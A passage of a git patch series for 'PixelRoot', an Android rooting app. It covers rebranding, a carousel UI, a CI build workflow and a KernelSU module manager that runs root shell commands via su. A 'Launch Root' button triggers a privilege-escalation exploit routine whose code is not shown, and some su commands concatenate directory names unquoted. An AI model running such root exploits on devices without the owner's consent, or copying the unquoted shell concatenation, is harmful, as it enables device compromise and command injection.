From 1ebd07e0e6b0f7e5dd2869e48e9caaa7193e0643 Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 16 Nov 2026 13:34:08 +0700 Subject: [PATCH 01/14] Rebrand to PixelRoot with OLED monochrome theme and crosshair icon --- app/build.gradle.kts | 6 ++--- app/src/main/AndroidManifest.xml | 2 +- .../main/res/color/btn_background_color.xml | 5 ++-- app/src/main/res/color/btn_text_color.xml | 4 ++-- .../res/drawable/ic_launcher_background.xml | 13 +++++++++-- .../res/drawable/ic_launcher_foreground.xml | 21 +++++++++++++++-- .../res/drawable/ic_launcher_monochrome.xml | 21 +++++++++++++++-- app/src/main/res/values-night/themes.xml | 23 +++++++++++++++---- app/src/main/res/values/strings.xml | 4 ++++ app/src/main/res/values/themes.xml | 22 +++++++++++++----- 10 files changed, 97 insertions(+), 24 deletions(-) create mode 100644 app/src/main/res/values/strings.xml diff --git a/app/build.gradle.kts b/app/build.gradle.kts index 2f1ce689..a1d8e638 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -17,11 +17,11 @@ android { } defaultConfig { - applicationId = "df.root" + applicationId = "com.deltabsolutezero.pixelroot" minSdk = 32 targetSdk = 37 versionCode = 407 - versionName = "4.7" + versionName = "1.0.0" ndk { abiFilters += listOf("arm64-v8a") @@ -75,7 +75,7 @@ android { androidComponents { onVariants { variant -> variant.outputs.forEach { output -> - output.outputFileName.set(output.versionName.map { vn -> "DFRoot_${vn}.apk" }) + output.outputFileName.set(output.versionName.map { vn -> "PixelRoot_${vn}.apk" }) } } } diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index ed266c0c..1215a3a1 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -7,7 +7,7 @@ - - + + + diff --git a/app/src/main/res/color/btn_text_color.xml b/app/src/main/res/color/btn_text_color.xml index 94902e9a..ef347399 100644 --- a/app/src/main/res/color/btn_text_color.xml +++ b/app/src/main/res/color/btn_text_color.xml @@ -1,5 +1,5 @@ - - + + diff --git a/app/src/main/res/drawable/ic_launcher_background.xml b/app/src/main/res/drawable/ic_launcher_background.xml index 1c69fdcc..0acc8172 100644 --- a/app/src/main/res/drawable/ic_launcher_background.xml +++ b/app/src/main/res/drawable/ic_launcher_background.xml @@ -1,5 +1,14 @@ - + android:width="108dp" + android:height="108dp" + android:viewportWidth="108" + android:viewportHeight="108"> + + diff --git a/app/src/main/res/drawable/ic_launcher_foreground.xml b/app/src/main/res/drawable/ic_launcher_foreground.xml index b344530a..bc4232b4 100644 --- a/app/src/main/res/drawable/ic_launcher_foreground.xml +++ b/app/src/main/res/drawable/ic_launcher_foreground.xml @@ -1,5 +1,22 @@ - + android:width="108dp" + android:height="108dp" + android:viewportWidth="108" + android:viewportHeight="108"> + + + + + + diff --git a/app/src/main/res/drawable/ic_launcher_monochrome.xml b/app/src/main/res/drawable/ic_launcher_monochrome.xml index f4ef2647..bc4232b4 100644 --- a/app/src/main/res/drawable/ic_launcher_monochrome.xml +++ b/app/src/main/res/drawable/ic_launcher_monochrome.xml @@ -1,5 +1,22 @@ - + android:width="108dp" + android:height="108dp" + android:viewportWidth="108" + android:viewportHeight="108"> + + + + + + diff --git a/app/src/main/res/values-night/themes.xml b/app/src/main/res/values-night/themes.xml index f2e7b78f..b4f3da3b 100644 --- a/app/src/main/res/values-night/themes.xml +++ b/app/src/main/res/values-night/themes.xml @@ -1,11 +1,26 @@ + + + diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml new file mode 100644 index 00000000..b6ccd2ac --- /dev/null +++ b/app/src/main/res/values/strings.xml @@ -0,0 +1,4 @@ + + + PixelRoot + diff --git a/app/src/main/res/values/themes.xml b/app/src/main/res/values/themes.xml index 5dd8b622..b4f3da3b 100644 --- a/app/src/main/res/values/themes.xml +++ b/app/src/main/res/values/themes.xml @@ -1,10 +1,18 @@ + - From 65fcb450fb48907a4df1666a8e06299d20b9254f Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 16 Nov 2026 13:36:08 +0700 Subject: [PATCH 02/14] Add 3-tab carousel animation and standalone ksud module manager --- .github/workflows/build-pixelroot.yml | 34 + app/src/main/java/df/root/MainActivity.java | 949 +++++++++++++++++++- 2 files changed, 951 insertions(+), 32 deletions(-) create mode 100644 .github/workflows/build-pixelroot.yml diff --git a/.github/workflows/build-pixelroot.yml b/.github/workflows/build-pixelroot.yml new file mode 100644 index 00000000..1c261a8c --- /dev/null +++ b/.github/workflows/build-pixelroot.yml @@ -0,0 +1,34 @@ +name: Build PixelRoot APK + +on: + push: + branches: [ master, main ] + workflow_dispatch: + +jobs: + build-apk: + runs-on: ubuntu-latest + steps: + - name: Checkout Source + uses: actions/checkout@v4 + + - name: Set up JDK 17 + uses: actions/setup-java@v4 + with: + java-version: '17' + distribution: 'temurin' + + - name: Setup Android SDK & NDK + uses: android-actions/setup-android@v3 + + - name: Grant Execute Permission for Gradlew + run: chmod +x gradlew + + - name: Build PixelRoot Debug APK + run: ./gradlew assembleDebug --no-daemon + + - name: Upload PixelRoot APK Artifact + uses: actions/upload-artifact@v4 + with: + name: PixelRoot-1.0.0-APK + path: app/build/outputs/apk/debug/*.apk diff --git a/app/src/main/java/df/root/MainActivity.java b/app/src/main/java/df/root/MainActivity.java index 28f8c0a6..2264a8a9 100644 --- a/app/src/main/java/df/root/MainActivity.java +++ b/app/src/main/java/df/root/MainActivity.java @@ -1,44 +1,78 @@ package df.root; import android.app.Activity; +import android.content.ClipData; +import android.content.ClipboardManager; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.pm.ApplicationInfo; import android.content.pm.PackageManager; +import android.graphics.Canvas; +import android.graphics.Color; +import android.graphics.Paint; +import android.graphics.Typeface; import android.graphics.drawable.Drawable; +import android.graphics.drawable.GradientDrawable; +import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.os.Looper; +import android.text.TextUtils; import android.util.Log; +import android.util.TypedValue; +import android.view.Gravity; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuItem; +import android.view.MotionEvent; +import android.view.VelocityTracker; import android.view.View; +import android.view.ViewConfiguration; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.Button; -import android.widget.ImageView; +import android.widget.FrameLayout; +import android.widget.LinearLayout; +import android.widget.OverScroller; import android.widget.ScrollView; import android.widget.Spinner; +import android.widget.Switch; import android.widget.TextView; import android.widget.Toast; +import java.io.BufferedReader; import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.InputStreamReader; import java.util.ArrayList; +import java.util.HashMap; import java.util.List; +import java.util.Map; import java.util.concurrent.Executor; import java.util.concurrent.Executors; public class MainActivity extends Activity implements IReporter { - private static final String TAG = "dfroot"; + private static final String TAG = "PixelRoot"; + private static final int REQ_INSTALL_MODULE = 1001; private Button btnRun; private ScrollView outputScroll; private TextView outputView; + private TextView previewLogView; + private TextView statusBadgeView; private Spinner spinnerSuManager; + private LinearLayout modulesListContainer; + private TextView modulesHeaderSubtitle; + + private CarouselPager carouselPager; + private View navPillIndicator; + private final TextView[] navLabels = new TextView[3]; + private final CrosshairTabIcon[] navIcons = new CrosshairTabIcon[3]; + private Context mDeCtx; private final Handler mMain = new Handler(Looper.getMainLooper()); private final Executor mExec = Executors.newSingleThreadExecutor(); @@ -48,8 +82,21 @@ public class MainActivity extends Activity implements IReporter { public void report(String msg) { Log.i(TAG, msg.trim()); mMain.post(() -> { - outputView.append(msg); - outputScroll.post(() -> outputScroll.fullScroll(View.FOCUS_DOWN)); + if (outputView != null) { + outputView.append(msg); + outputScroll.post(() -> outputScroll.fullScroll(View.FOCUS_DOWN)); + } + if (previewLogView != null) { + String full = outputView != null ? outputView.getText().toString().trim() : msg.trim(); + String[] lines = full.split("\n"); + int start = Math.max(0, lines.length - 4); + StringBuilder sb = new StringBuilder(); + for (int i = start; i < lines.length; i++) { + if (sb.length() > 0) sb.append("\n"); + sb.append(lines[i]); + } + previewLogView.setText(sb.toString()); + } }); } @@ -57,15 +104,586 @@ public void report(String msg) { protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mDeCtx = createDeviceProtectedStorageContext(); - setContentView(R.layout.activity_main); - getActionBar().setSubtitle("@diabl0w github/xda"); + if (getActionBar() != null) { + getActionBar().setTitle("PixelRoot"); + getActionBar().setSubtitle("Monochrome SU & KernelSU Bridge"); + } + + buildCarouselUi(); + setupSuManagerSpinner(); + updateRunButton(); + refreshRootStatusAndModules(); + } + + private int dp(int value) { + return Math.round(TypedValue.applyDimension( + TypedValue.COMPLEX_UNIT_DIP, value, getResources().getDisplayMetrics())); + } + + private GradientDrawable roundedBox(int fillColor, int strokeColor, int radiusDp) { + GradientDrawable gd = new GradientDrawable(); + gd.setColor(fillColor); + gd.setCornerRadius(dp(radiusDp)); + if (strokeColor != Color.TRANSPARENT) { + gd.setStroke(dp(1), strokeColor); + } + return gd; + } + + private void buildCarouselUi() { + LinearLayout root = new LinearLayout(this); + root.setOrientation(LinearLayout.VERTICAL); + root.setBackgroundColor(Color.BLACK); + root.setFitsSystemWindows(true); + + carouselPager = new CarouselPager(this, dp(12)); + LinearLayout.LayoutParams pagerLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, 0, 1f); + carouselPager.setLayoutParams(pagerLp); + + carouselPager.addView(buildLauncherPage()); + carouselPager.addView(buildRootLogPage()); + carouselPager.addView(buildModulesPage()); + + View divider = new View(this); + divider.setLayoutParams(new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, dp(1))); + divider.setBackgroundColor(Color.parseColor("#1C1C1C")); + + View bottomBar = buildBottomNavBar(); + + root.addView(carouselPager); + root.addView(divider); + root.addView(bottomBar); + setContentView(root); + + carouselPager.setPageListener(new CarouselPager.OnPageChangeListener() { + @Override + public void onPageScrolled(float positionOffsetTotal) { + updateNavPillPosition(positionOffsetTotal); + } + + @Override + public void onPageSelected(int page) { + updateNavSelection(page); + if (page == 2) { + refreshRootStatusAndModules(); + } + } + }); + updateNavSelection(0); + } + + private View buildLauncherPage() { + ScrollView scroll = new ScrollView(this); + scroll.setFillViewport(true); + + LinearLayout container = new LinearLayout(this); + container.setOrientation(LinearLayout.VERTICAL); + container.setPadding(dp(16), dp(14), dp(16), dp(16)); + + // Hero Card with Crosshair Emblem + LinearLayout heroCard = new LinearLayout(this); + heroCard.setOrientation(LinearLayout.HORIZONTAL); + heroCard.setGravity(Gravity.CENTER_VERTICAL); + heroCard.setPadding(dp(16), dp(16), dp(16), dp(16)); + heroCard.setBackground(roundedBox(Color.parseColor("#0E0E0E"), Color.parseColor("#242424"), 20)); + + CrosshairLogoView logo = new CrosshairLogoView(this); + LinearLayout.LayoutParams logoLp = new LinearLayout.LayoutParams(dp(44), dp(44)); + logoLp.rightMargin = dp(14); + heroCard.addView(logo, logoLp); + + LinearLayout heroTextCol = new LinearLayout(this); + heroTextCol.setOrientation(LinearLayout.VERTICAL); + heroTextCol.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + + TextView heroTitle = new TextView(this); + heroTitle.setText("PixelRoot"); + heroTitle.setTextColor(Color.WHITE); + heroTitle.setTextSize(TypedValue.COMPLEX_UNIT_SP, 19); + heroTitle.setTypeface(Typeface.DEFAULT_BOLD); + + TextView heroSub = new TextView(this); + heroSub.setText(System.getProperty("os.version", "5.15.189-android13-8")); + heroSub.setTextColor(Color.parseColor("#9E9E9E")); + heroSub.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + heroSub.setSingleLine(true); + heroSub.setEllipsize(TextUtils.TruncateAt.END); + + heroTextCol.addView(heroTitle); + heroTextCol.addView(heroSub); + heroCard.addView(heroTextCol); + + statusBadgeView = new TextView(this); + statusBadgeView.setText("CHECKING"); + statusBadgeView.setTextColor(Color.WHITE); + statusBadgeView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 11); + statusBadgeView.setTypeface(Typeface.DEFAULT_BOLD); + statusBadgeView.setPadding(dp(10), dp(5), dp(10), dp(5)); + statusBadgeView.setBackground(roundedBox(Color.parseColor("#1D1D1D"), Color.parseColor("#333333"), 12)); + heroCard.addView(statusBadgeView); + + container.addView(heroCard); + + // SU Manager Card + LinearLayout managerCard = new LinearLayout(this); + managerCard.setOrientation(LinearLayout.VERTICAL); + managerCard.setPadding(dp(16), dp(14), dp(16), dp(12)); + managerCard.setBackground(roundedBox(Color.parseColor("#0E0E0E"), Color.parseColor("#242424"), 20)); + LinearLayout.LayoutParams mgrLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + mgrLp.topMargin = dp(12); + managerCard.setLayoutParams(mgrLp); + + TextView mgrLabel = new TextView(this); + mgrLabel.setText("SU Manager Bridge"); + mgrLabel.setTextColor(Color.parseColor("#BDBDBD")); + mgrLabel.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + mgrLabel.setTypeface(Typeface.DEFAULT_BOLD); + managerCard.addView(mgrLabel); + + spinnerSuManager = new Spinner(this); + LinearLayout.LayoutParams spLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + spLp.topMargin = dp(6); + spinnerSuManager.setLayoutParams(spLp); + managerCard.addView(spinnerSuManager); + + container.addView(managerCard); + + // Primary Monochrome Action Button + btnRun = new Button(this); + btnRun.setText("Launch Root"); + btnRun.setTextSize(TypedValue.COMPLEX_UNIT_SP, 15); + btnRun.setTypeface(Typeface.DEFAULT_BOLD); + btnRun.setAllCaps(false); + LinearLayout.LayoutParams btnLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, dp(52)); + btnLp.topMargin = dp(14); + btnRun.setLayoutParams(btnLp); + btnRun.setOnClickListener(v -> { + btnRun.setEnabled(false); + outputView.setText(""); + previewLogView.setText("Starting privilege escalation..."); + carouselPager.setCurrentPage(1, true); + mExec.execute(this::runExploit); + }); + container.addView(btnRun); + + // Live Log Preview Card + LinearLayout previewCard = new LinearLayout(this); + previewCard.setOrientation(LinearLayout.VERTICAL); + previewCard.setPadding(dp(16), dp(14), dp(16), dp(14)); + previewCard.setBackground(roundedBox(Color.parseColor("#0A0A0A"), Color.parseColor("#202020"), 20)); + LinearLayout.LayoutParams prevLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + prevLp.topMargin = dp(14); + previewCard.setLayoutParams(prevLp); + previewCard.setOnClickListener(v -> carouselPager.setCurrentPage(1, true)); + + LinearLayout prevHeader = new LinearLayout(this); + prevHeader.setOrientation(LinearLayout.HORIZONTAL); + TextView prevTitle = new TextView(this); + prevTitle.setText("Live Execution Preview"); + prevTitle.setTextColor(Color.WHITE); + prevTitle.setTextSize(TypedValue.COMPLEX_UNIT_SP, 13); + prevTitle.setTypeface(Typeface.DEFAULT_BOLD); + prevTitle.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + + TextView prevOpen = new TextView(this); + prevOpen.setText("Open Log >"); + prevOpen.setTextColor(Color.parseColor("#9E9E9E")); + prevOpen.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + + prevHeader.addView(prevTitle); + prevHeader.addView(prevOpen); + previewCard.addView(prevHeader); + + previewLogView = new TextView(this); + previewLogView.setText("Swipe left or tap a tab below to switch views."); + previewLogView.setTextColor(Color.parseColor("#B0B0B0")); + previewLogView.setTypeface(Typeface.MONOSPACE); + previewLogView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 11); + LinearLayout.LayoutParams prevTxtLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + prevTxtLp.topMargin = dp(8); + previewLogView.setLayoutParams(prevTxtLp); + previewCard.addView(previewLogView); + + container.addView(previewCard); + scroll.addView(container); + return scroll; + } + + private View buildRootLogPage() { + LinearLayout page = new LinearLayout(this); + page.setOrientation(LinearLayout.VERTICAL); + page.setPadding(dp(16), dp(14), dp(16), dp(14)); + + LinearLayout header = new LinearLayout(this); + header.setOrientation(LinearLayout.HORIZONTAL); + header.setGravity(Gravity.CENTER_VERTICAL); + + TextView title = new TextView(this); + title.setText("Root Execution Log"); + title.setTextColor(Color.WHITE); + title.setTextSize(TypedValue.COMPLEX_UNIT_SP, 16); + title.setTypeface(Typeface.DEFAULT_BOLD); + title.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + header.addView(title); + + TextView btnCopy = new TextView(this); + btnCopy.setText("Copy"); + btnCopy.setTextColor(Color.BLACK); + btnCopy.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + btnCopy.setTypeface(Typeface.DEFAULT_BOLD); + btnCopy.setPadding(dp(12), dp(6), dp(12), dp(6)); + btnCopy.setBackground(roundedBox(Color.WHITE, Color.TRANSPARENT, 14)); + btnCopy.setOnClickListener(v -> { + ClipboardManager cm = (ClipboardManager) getSystemService(Context.CLIPBOARD_SERVICE); + if (cm != null) { + cm.setPrimaryClip(ClipData.newPlainText("PixelRoot Log", outputView.getText())); + Toast.makeText(this, "Log copied", Toast.LENGTH_SHORT).show(); + } + }); + header.addView(btnCopy); + + TextView btnClear = new TextView(this); + btnClear.setText("Clear"); + btnClear.setTextColor(Color.WHITE); + btnClear.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + btnClear.setPadding(dp(12), dp(6), dp(12), dp(6)); + btnClear.setBackground(roundedBox(Color.parseColor("#181818"), Color.parseColor("#2E2E2E"), 14)); + LinearLayout.LayoutParams clrLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT); + clrLp.leftMargin = dp(8); + btnClear.setLayoutParams(clrLp); + btnClear.setOnClickListener(v -> outputView.setText("")); + header.addView(btnClear); + + page.addView(header); + + outputScroll = new ScrollView(this); + outputScroll.setBackground(roundedBox(Color.parseColor("#0A0A0A"), Color.parseColor("#222222"), 18)); + outputScroll.setPadding(dp(12), dp(12), dp(12), dp(12)); + LinearLayout.LayoutParams scLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, 0, 1f); + scLp.topMargin = dp(12); + outputScroll.setLayoutParams(scLp); + + outputView = new TextView(this); + outputView.setLayoutParams(new ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT)); + outputView.setTypeface(Typeface.MONOSPACE); + outputView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + outputView.setTextColor(Color.parseColor("#EAEAEA")); + outputView.setTextIsSelectable(true); + outputView.setText("[PIXELROOT] Ready. Kernel: " + System.getProperty("os.version", "unknown") + "\n"); + + outputScroll.addView(outputView); + page.addView(outputScroll); + return page; + } + + private View buildModulesPage() { + LinearLayout page = new LinearLayout(this); + page.setOrientation(LinearLayout.VERTICAL); + page.setPadding(dp(16), dp(14), dp(16), dp(14)); + + LinearLayout header = new LinearLayout(this); + header.setOrientation(LinearLayout.HORIZONTAL); + header.setGravity(Gravity.CENTER_VERTICAL); + + LinearLayout titleCol = new LinearLayout(this); + titleCol.setOrientation(LinearLayout.VERTICAL); + titleCol.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + + TextView title = new TextView(this); + title.setText("KernelSU Modules"); + title.setTextColor(Color.WHITE); + title.setTextSize(TypedValue.COMPLEX_UNIT_SP, 16); + title.setTypeface(Typeface.DEFAULT_BOLD); + + modulesHeaderSubtitle = new TextView(this); + modulesHeaderSubtitle.setText("/data/adb/modules"); + modulesHeaderSubtitle.setTextColor(Color.parseColor("#9E9E9E")); + modulesHeaderSubtitle.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + + titleCol.addView(title); + titleCol.addView(modulesHeaderSubtitle); + header.addView(titleCol); + + TextView btnInstall = new TextView(this); + btnInstall.setText("+ Install Zip"); + btnInstall.setTextColor(Color.BLACK); + btnInstall.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + btnInstall.setTypeface(Typeface.DEFAULT_BOLD); + btnInstall.setPadding(dp(14), dp(8), dp(14), dp(8)); + btnInstall.setBackground(roundedBox(Color.WHITE, Color.TRANSPARENT, 16)); + btnInstall.setOnClickListener(v -> { + Intent pick = new Intent(Intent.ACTION_OPEN_DOCUMENT); + pick.addCategory(Intent.CATEGORY_OPENABLE); + pick.setType("application/zip"); + startActivityForResult(pick, REQ_INSTALL_MODULE); + }); + header.addView(btnInstall); + + page.addView(header); + + ScrollView modScroll = new ScrollView(this); + LinearLayout.LayoutParams scLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, 0, 1f); + scLp.topMargin = dp(12); + modScroll.setLayoutParams(scLp); + + modulesListContainer = new LinearLayout(this); + modulesListContainer.setOrientation(LinearLayout.VERTICAL); + modScroll.addView(modulesListContainer); + page.addView(modScroll); + + return page; + } + + private View buildBottomNavBar() { + FrameLayout barWrapper = new FrameLayout(this); + barWrapper.setBackgroundColor(Color.parseColor("#0A0A0A")); + barWrapper.setPadding(dp(12), dp(8), dp(12), dp(10)); + + // Sliding monochrome pill indicator + navPillIndicator = new View(this); + navPillIndicator.setBackground(roundedBox(Color.WHITE, Color.TRANSPARENT, 20)); + FrameLayout.LayoutParams pillLp = new FrameLayout.LayoutParams(dp(84), dp(34)); + pillLp.gravity = Gravity.TOP | Gravity.START; + navPillIndicator.setLayoutParams(pillLp); + barWrapper.addView(navPillIndicator); + + LinearLayout row = new LinearLayout(this); + row.setOrientation(LinearLayout.HORIZONTAL); + row.setWeightSum(3f); + row.setLayoutParams(new FrameLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT)); + + String[] titles = {"Launcher", "Root Log", "Modules"}; + for (int i = 0; i < 3; i++) { + final int index = i; + LinearLayout tab = new LinearLayout(this); + tab.setOrientation(LinearLayout.VERTICAL); + tab.setGravity(Gravity.CENTER); + tab.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + tab.setOnClickListener(v -> carouselPager.setCurrentPage(index, true)); + + CrosshairTabIcon icon = new CrosshairTabIcon(this, i); + LinearLayout.LayoutParams iconLp = new LinearLayout.LayoutParams(dp(24), dp(34)); + tab.addView(icon, iconLp); + navIcons[i] = icon; + + TextView label = new TextView(this); + label.setText(titles[i]); + label.setTextSize(TypedValue.COMPLEX_UNIT_SP, 11); + label.setGravity(Gravity.CENTER); + LinearLayout.LayoutParams lblLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT); + lblLp.topMargin = dp(4); + tab.addView(label, lblLp); + navLabels[i] = label; + + row.addView(tab); + } + + barWrapper.addView(row); + barWrapper.post(() -> updateNavPillPosition(carouselPager.getCurrentPage())); + return barWrapper; + } + + private void updateNavPillPosition(float pageFloat) { + if (navPillIndicator == null || navPillIndicator.getParent() == null) return; + View parent = (View) navPillIndicator.getParent(); + int innerWidth = parent.getWidth() - parent.getPaddingLeft() - parent.getPaddingRight(); + if (innerWidth <= 0) return; + float tabWidth = innerWidth / 3f; + float pillWidth = navPillIndicator.getWidth(); + float x = (tabWidth * pageFloat) + (tabWidth - pillWidth) / 2f; + navPillIndicator.setTranslationX(x); + } + + private void updateNavSelection(int selected) { + for (int i = 0; i < 3; i++) { + boolean active = (i == selected); + if (navIcons[i] != null) navIcons[i].setSelectedState(active); + if (navLabels[i] != null) { + navLabels[i].setTextColor(active ? Color.WHITE : Color.parseColor("#888888")); + navLabels[i].setTypeface(active ? Typeface.DEFAULT_BOLD : Typeface.DEFAULT); + } + } + updateNavPillPosition(selected); + } + + private void refreshRootStatusAndModules() { + mExec.execute(() -> { + String ksuVer = runRootCmd("/data/adb/ksud -V 2>/dev/null || su -v 2>/dev/null").trim(); + boolean rooted = !ksuVer.isEmpty() || new File("/dev/df").exists(); + String rawMods = runRootCmd("ls -1 /data/adb/modules 2>/dev/null"); + + List items = new ArrayList<>(); + if (!rawMods.trim().isEmpty()) { + for (String dirName : rawMods.trim().split("\n")) { + String id = dirName.trim(); + if (id.isEmpty()) continue; + String prop = runRootCmd("cat /data/adb/modules/" + id + "/module.prop 2>/dev/null"); + String flags = runRootCmd("[ -f /data/adb/modules/" + id + "/disable ] && echo disabled; [ -f /data/adb/modules/" + id + "/remove ] && echo removed"); + items.add(ModuleItem.parse(id, prop, flags)); + } + } + + mMain.post(() -> { + if (statusBadgeView != null) { + if (rooted) { + statusBadgeView.setText("ACTIVE"); + statusBadgeView.setTextColor(Color.BLACK); + statusBadgeView.setBackground(roundedBox(Color.WHITE, Color.TRANSPARENT, 12)); + } else { + statusBadgeView.setText("STANDBY"); + statusBadgeView.setTextColor(Color.WHITE); + statusBadgeView.setBackground(roundedBox(Color.parseColor("#1D1D1D"), Color.parseColor("#333333"), 12)); + } + } + if (modulesHeaderSubtitle != null) { + modulesHeaderSubtitle.setText(ksuVer.isEmpty() + ? "/data/adb/modules (" + items.size() + ")" + : ksuVer + " • " + items.size() + " module(s)"); + } + renderModules(items); + updateRunButton(); + }); + }); + } + + private void renderModules(List items) { + if (modulesListContainer == null) return; + modulesListContainer.removeAllViews(); + + if (items.isEmpty()) { + TextView empty = new TextView(this); + empty.setText("No KernelSU modules found in /data/adb/modules.\nTap '+ Install Zip' above to flash a module."); + empty.setTextColor(Color.parseColor("#888888")); + empty.setTextSize(TypedValue.COMPLEX_UNIT_SP, 13); + empty.setPadding(dp(16), dp(24), dp(16), dp(24)); + empty.setGravity(Gravity.CENTER); + empty.setBackground(roundedBox(Color.parseColor("#0D0D0D"), Color.parseColor("#202020"), 18)); + modulesListContainer.addView(empty); + return; + } + + for (ModuleItem mod : items) { + LinearLayout card = new LinearLayout(this); + card.setOrientation(LinearLayout.VERTICAL); + card.setPadding(dp(14), dp(14), dp(14), dp(14)); + card.setBackground(roundedBox(Color.parseColor("#0E0E0E"), Color.parseColor("#242424"), 18)); + LinearLayout.LayoutParams cardLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + cardLp.bottomMargin = dp(10); + card.setLayoutParams(cardLp); + + LinearLayout topRow = new LinearLayout(this); + topRow.setOrientation(LinearLayout.HORIZONTAL); + topRow.setGravity(Gravity.CENTER_VERTICAL); + + LinearLayout infoCol = new LinearLayout(this); + infoCol.setOrientation(LinearLayout.VERTICAL); + infoCol.setLayoutParams(new LinearLayout.LayoutParams(0, ViewGroup.LayoutParams.WRAP_CONTENT, 1f)); + + TextView nameView = new TextView(this); + nameView.setText(mod.name + " " + mod.version); + nameView.setTextColor(Color.WHITE); + nameView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 14); + nameView.setTypeface(Typeface.DEFAULT_BOLD); + + TextView authorView = new TextView(this); + authorView.setText("by " + mod.author + (mod.removed ? " • Will remove on reboot" : "")); + authorView.setTextColor(Color.parseColor("#9E9E9E")); + authorView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 11); + + infoCol.addView(nameView); + infoCol.addView(authorView); + topRow.addView(infoCol); + + Switch toggle = new Switch(this); + toggle.setChecked(!mod.disabled); + toggle.setOnCheckedChangeListener((buttonView, isChecked) -> mExec.execute(() -> { + String path = "/data/adb/modules/" + mod.id + "/disable"; + if (isChecked) { + runRootCmd("rm -f '" + path + "'"); + } else { + runRootCmd("touch '" + path + "'"); + } + refreshRootStatusAndModules(); + })); + topRow.addView(toggle); + card.addView(topRow); - btnRun = findViewById(R.id.btnRun); - outputScroll = findViewById(R.id.outputScroll); - outputView = findViewById(R.id.outputView); - spinnerSuManager = findViewById(R.id.spinnerSuManager); + if (!mod.description.isEmpty()) { + TextView desc = new TextView(this); + desc.setText(mod.description); + desc.setTextColor(Color.parseColor("#BDBDBD")); + desc.setTextSize(TypedValue.COMPLEX_UNIT_SP, 12); + LinearLayout.LayoutParams descLp = new LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); + descLp.topMargin = dp(8); + desc.setLayoutParams(descLp); + card.addView(desc); + } + + modulesListContainer.addView(card); + } + } + + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + if (requestCode == REQ_INSTALL_MODULE && resultCode == RESULT_OK && data != null && data.getData() != null) { + final Uri uri = data.getData(); + carouselPager.setCurrentPage(1, true); + mExec.execute(() -> { + try { + File tmpZip = new File(getCacheDir(), "pixelroot_mod.zip"); + try (InputStream in = getContentResolver().openInputStream(uri); + FileOutputStream out = new FileOutputStream(tmpZip)) { + if (in == null) return; + byte[] buf = new byte[8192]; + int n; + while ((n = in.read(buf)) > 0) out.write(buf, 0, n); + } + report("\n[KSUD] Installing module zip...\n"); + String res = runRootCmd("/data/adb/ksud module install '" + tmpZip.getAbsolutePath() + "' 2>&1"); + report(res + "\n[KSUD] Done.\n"); + tmpZip.delete(); + refreshRootStatusAndModules(); + } catch (Exception e) { + report("[KSUD] Install error: " + e + "\n"); + } + }); + } + } + + private String runRootCmd(String cmd) { + try { + Process p = new ProcessBuilder("su", "-c", cmd).redirectErrorStream(true).start(); + StringBuilder sb = new StringBuilder(); + try (BufferedReader r = new 